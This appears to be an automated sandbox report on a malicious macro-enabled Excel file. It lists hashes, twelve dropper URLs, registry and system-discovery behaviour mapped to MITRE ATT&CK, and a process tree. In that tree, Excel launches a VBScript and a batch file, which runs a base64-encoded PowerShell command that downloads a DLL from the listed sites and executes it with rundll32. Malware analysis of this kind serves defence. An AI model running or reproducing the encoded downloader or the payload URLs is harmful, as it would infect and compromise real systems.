8bd55b72e96b1ec555e05044f6a138108b35cd6f505a46951db7dd83be96f489

General

Target

8bd55b72e96b1ec555e05044f6a138108b35cd6f505a46951db7dd83be96f489.xlsm
Size

115KB
MD5

c55de90647aef216768b8516a3263468
SHA1

253eb1648ed416e8791f0465e76b3b5696276065
SHA256

8bd55b72e96b1ec555e05044f6a138108b35cd6f505a46951db7dd83be96f489
SHA512

f4377d1199c3a13eb9527abfe9282949eb1cd5a82d58cd7e61043f900f84e3ec8a7d7675dc324499982e9b58362c65213075b41e0f59c37fb95b34376b758724
SSDEEP

3072:FG1t/LKpd4LcRtaXR3KUtE4sYzOXPn1CpR:FiHL8e3KU5skOXN4

Score

10^/10

discovery

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://sumedhaonline.com/wp-content/HyzNXJ30XOQVcBSRH/

exe.dropper

http://divachintextiles.com/wp-includes/WWhWRKs8KvzNFm6/

exe.dropper

http://hotelandamalabo.com/1520/bUdhEPdf/

exe.dropper

http://shwenantawwin.com/copma/XTnZIi02vfVblK7/

exe.dropper

http://tan4j.com/wp-content/languages/yOI5h8uoRe/

exe.dropper

https://khibra-academy.com/wp-content/c1dR8wP4OdhzApHn/

exe.dropper

https://dwwmaster.com/wp-content/W7XGpodRs5kYvnV/

exe.dropper

http://edinsonjhernandez.net/wp-content/vndSGB/

exe.dropper

https://stayathomeamerica.com/wp-content/nrQWW/

exe.dropper

http://quetzalgt.coffee/images/B5WUc/

exe.dropper

http://edinsonjhernandez.info/wp-content/BaazJljahSR2/

exe.dropper

http://xn--90agbba9adnzt3i.com/ALFA_DATA/ucCbi6G/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	552	4792	wscript.exe	81

Blocklisted process makes network request 6 IoCs

flow	pid	Process
29	3376	powershell.exe
33	3376	powershell.exe
35	3376	powershell.exe
39	3376	powershell.exe
50	3376	powershell.exe
67	3376	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4792	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3376	powershell.exe
3376	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3376	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
4792	EXCEL.EXE
4792	EXCEL.EXE
4792	EXCEL.EXE
4792	EXCEL.EXE
4792	EXCEL.EXE
4792	EXCEL.EXE
4792	EXCEL.EXE
4792	EXCEL.EXE
4792	EXCEL.EXE
4792	EXCEL.EXE
4792	EXCEL.EXE
4792	EXCEL.EXE
4792	EXCEL.EXE
4792	EXCEL.EXE

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4792 wrote to memory of 552	4792	EXCEL.EXE	85
PID 4792 wrote to memory of 552	4792	EXCEL.EXE	85
PID 552 wrote to memory of 4952	552	wscript.exe	86
PID 552 wrote to memory of 4952	552	wscript.exe	86
PID 4952 wrote to memory of 3376	4952	cmd.exe	89
PID 4952 wrote to memory of 3376	4952	cmd.exe	89
PID 552 wrote to memory of 4404	552	wscript.exe	98
PID 552 wrote to memory of 4404	552	wscript.exe	98
PID 4404 wrote to memory of 4972	4404	cmd.exe	100
PID 4404 wrote to memory of 4972	4404	cmd.exe	100
PID 4404 wrote to memory of 4972	4404	cmd.exe	100

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8bd55b72e96b1ec555e05044f6a138108b35cd6f505a46951db7dd83be96f489.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4792
- C:\Windows\SYSTEM32\wscript.exe
  wscript c:\programdata\tghklsd.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\programdata\jledshf.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4952
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -enc JABqAGUAbwBsAGkAcwBlADMAUgBoAGcARABaAFMANABjAGQAZgBnAD0AIgBoAHQAdABwADoALwAvAHMAdQBtAGUAZABoAGEAbwBuAGwAaQBuAGUALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBIAHkAegBOAFgASgAzADAAWABPAFEAVgBjAEIAUwBSAEgALwAsAGgAdAB0AHAAOgAvAC8AZABpAHYAYQBjAGgAaQBuAHQAZQB4AHQAaQBsAGUAcwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AVwBXAGgAVwBSAEsAcwA4AEsAdgB6AE4ARgBtADYALwAsAGgAdAB0AHAAOgAvAC8AaABvAHQAZQBsAGEAbgBkAGEAbQBhAGwAYQBiAG8ALgBjAG8AbQAvADEANQAyADAALwBiAFUAZABoAEUAUABkAGYALwAsAGgAdAB0AHAAOgAvAC8AcwBoAHcAZQBuAGEAbgB0AGEAdwB3AGkAbgAuAGMAbwBtAC8AYwBvAHAAbQBhAC8AWABUAG4AWgBJAGkAMAAyAHYAZgBWAGIAbABLADcALwAsAGgAdAB0AHAAOgAvAC8AdABhAG4ANABqAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AbABhAG4AZwB1AGEAZwBlAHMALwB5AE8ASQA1AGgAOAB1AG8AUgBlAC8ALABoAHQAdABwAHMAOgAvAC8AawBoAGkAYgByAGEALQBhAGMAYQBkAGUAbQB5AC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AYwAxAGQAUgA4AHcAUAA0AE8AZABoAHoAQQBwAEgAbgAvACwAaAB0AHQAcABzADoALwAvAGQAdwB3AG0AYQBzAHQAZQByAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AVwA3AFgARwBwAG8AZABSAHMANQBrAFkAdgBuAFYALwAsAGgAdAB0AHAAOgAvAC8AZQBkAGkAbgBzAG8AbgBqAGgAZQByAG4AYQBuAGQAZQB6AC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdgBuAGQAUwBHAEIALwAsAGgAdAB0AHAAcwA6AC8ALwBzAHQAYQB5AGEAdABoAG8AbQBlAGEAbQBlAHIAaQBjAGEALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBuAHIAUQBXAFcALwAsAGgAdAB0AHAAOgAvAC8AcQB1AGUAdAB6AGEAbABnAHQALgBjAG8AZgBmAGUAZQAvAGkAbQBhAGcAZQBzAC8AQgA1AFcAVQBjAC8ALABoAHQAdABwADoALwAvAGUAZABpAG4AcwBvAG4AagBoAGUAcgBuAGEAbgBkAGUAegAuAGkAbgBmAG8ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AQgBhAGEAegBKAGwAagBhAGgAUwBSADIALwAsAGgAdAB0AHAAOgAvAC8AeABuAC0ALQA5ADAAYQBnAGIAYgBhADkAYQBkAG4AegB0ADMAaQAuAGMAbwBtAC8AQQBMAEYAQQBfAEQAQQBUAEEALwB1AGMAQwBiAGkANgBHAC8AIgAuAHMAcABMAGkAVAAoACIALAAiACkAOwBmAE8AcgBlAGEAQwBoACgAJABqAGQAdABGAEoAZABYAGgAcgA2AHQAeAB5AGgAZAAgAGkAbgAgACQAagBlAG8AbABpAHMAZQAzAFIAaABnAEQAWgBTADQAYwBkAGYAZwApAHsAJAByAGgAeQBrAGEAagBkAGgAZgBzADcAaQBkAGYAZwBkAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXAB2AGIAawB3AGsALgBkAGwAbAAiADsAaQBOAHYATwBrAGUALQB3AEUAYgByAGUAUQB1AGUAcwBUACAALQB1AFIAaQAgACQAagBkAHQARgBKAGQAWABoAHIANgB0AHgAeQBoAGQAIAAtAG8AdQBUAGYAaQBMAGUAIAAkAHIAaAB5AGsAYQBqAGQAaABmAHMANwBpAGQAZgBnAGQAOwAgAGkAZgAoAHQAZQBzAHQALQBwAEEAdABIACAAJAByAGgAeQBrAGEAagBkAGgAZgBzADcAaQBkAGYAZwBkACkAewBpAGYAKAAoAGcAZQB0AC0AaQBUAGUAbQAgACQAcgBoAHkAawBhAGoAZABoAGYAcwA3AGkAZABmAGcAZAApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADQANQAwADAAMAApAHsAYgByAGUAYQBrADsAfQB9AH0A
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3376
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4404
  - - \??\c:\windows\syswow64\rundll32.exe
      c:\windows\syswow64\rundll32.exe c:\programdata\vbkwk.dll,dfsgeresd
      4⤵
      System Location Discovery: System Language Discovery
      PID:4972

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d2ghuxxv.dzo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
ac67bca4fdab00cd7c8c3e30240bbed0

SHA1
e4a9aadf3291914d4a77792a451237d76989b0b3

SHA256
59140b6a78c34712f009f92fb48ce9be51cfdaa8a38a15b5b3db43c25083b6c0

SHA512
518cbccedf3114c2a1104a023b33df527df1eccd26f76e70e202b436153c3fc053ea7d032170cb0b6d82416681511f0c6581e1ce62809aa25a17ab1706eb7d4d

Download Submit
C:\programdata\jledshf.bat

Filesize
3KB

MD5
164532c6f8dbac93f02a741fbd0c71b9

SHA1
1fbb6f6e2ecc5626c8879b1af15cdff88414a72b

SHA256
b463e24cd165d84616c6db6130623de399ee544e1bc9f929f8a7fa6b6841dd47

SHA512
655e3ae1ca46aa4c9efb9ff8d78afd3580875aae59e4c5d57cb0a4dee46515e9f77dc79284c7352c96353ca20e09293a0343d168a66c1ce1794dbb958d4bb31d

Download Submit
\??\c:\programdata\tghklsd.vbs

Filesize
561B

MD5
87a9c41dc3e67b9b0b6cdb367d4858bd

SHA1
00f117f9a02dad3c127b2c607ead43300c2bebbe

SHA256
f0b09a17f07b03b8cfe1969f84fcfb96933439707fa86ba8aa79181145512e18

SHA512
7373ca3127a1baf85e3cc6beb7b046788132b1bb388405657cb924435386d186a2645971128dc582a970242c4a3dfdc7fcce78ed158b0d430c96bbd18686f1dd

Download Submit
\??\c:\programdata\vbkwk.dll

Filesize
24KB

MD5
267653b0ba240564ec0f8438c78e1d07

SHA1
a5c875a9d1e341ccf0b2590d444e219175bf04c5

SHA256
ab4c38eb8b4a07f918d37b2e30fbe44c5dac5331f525a13ef2d72251853c966c

SHA512
38263abd73c6a2e71ea54264f8334de83ce20ab4f281ea5067a28ecd5f8f312e9347b03d13c241d88f5e9bccb1009bf24275804e6b327bf61e95c328d906a841

Download Submit
memory/3376-148-0x0000016CF04C0000-0x0000016CF0C66000-memory.dmp

Filesize
7.6MB

Download
memory/3376-135-0x0000016CEF660000-0x0000016CEF682000-memory.dmp

Filesize
136KB

Download
memory/4792-13-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/4792-31-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/4792-15-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/4792-17-0x00007FF807F30000-0x00007FF807F40000-memory.dmp

Filesize
64KB

Download
memory/4792-16-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/4792-18-0x00007FF807F30000-0x00007FF807F40000-memory.dmp

Filesize
64KB

Download
memory/4792-14-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/4792-12-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/4792-11-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/4792-10-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/4792-9-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/4792-7-0x00007FF809F90000-0x00007FF809FA0000-memory.dmp

Filesize
64KB

Download
memory/4792-27-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/4792-1-0x00007FF849FAD000-0x00007FF849FAE000-memory.dmp

Filesize
4KB

Download
memory/4792-130-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/4792-8-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/4792-6-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/4792-4-0x00007FF809F90000-0x00007FF809FA0000-memory.dmp

Filesize
64KB

Download
memory/4792-5-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/4792-3-0x00007FF809F90000-0x00007FF809FA0000-memory.dmp

Filesize
64KB

Download
memory/4792-151-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/4792-152-0x00007FF849FAD000-0x00007FF849FAE000-memory.dmp

Filesize
4KB

Download
memory/4792-153-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/4792-154-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/4792-155-0x00007FF849F10000-0x00007FF84A105000-memory.dmp

Filesize
2.0MB

Download
memory/4792-2-0x00007FF809F90000-0x00007FF809FA0000-memory.dmp

Filesize
64KB

Download
memory/4792-0-0x00007FF809F90000-0x00007FF809FA0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads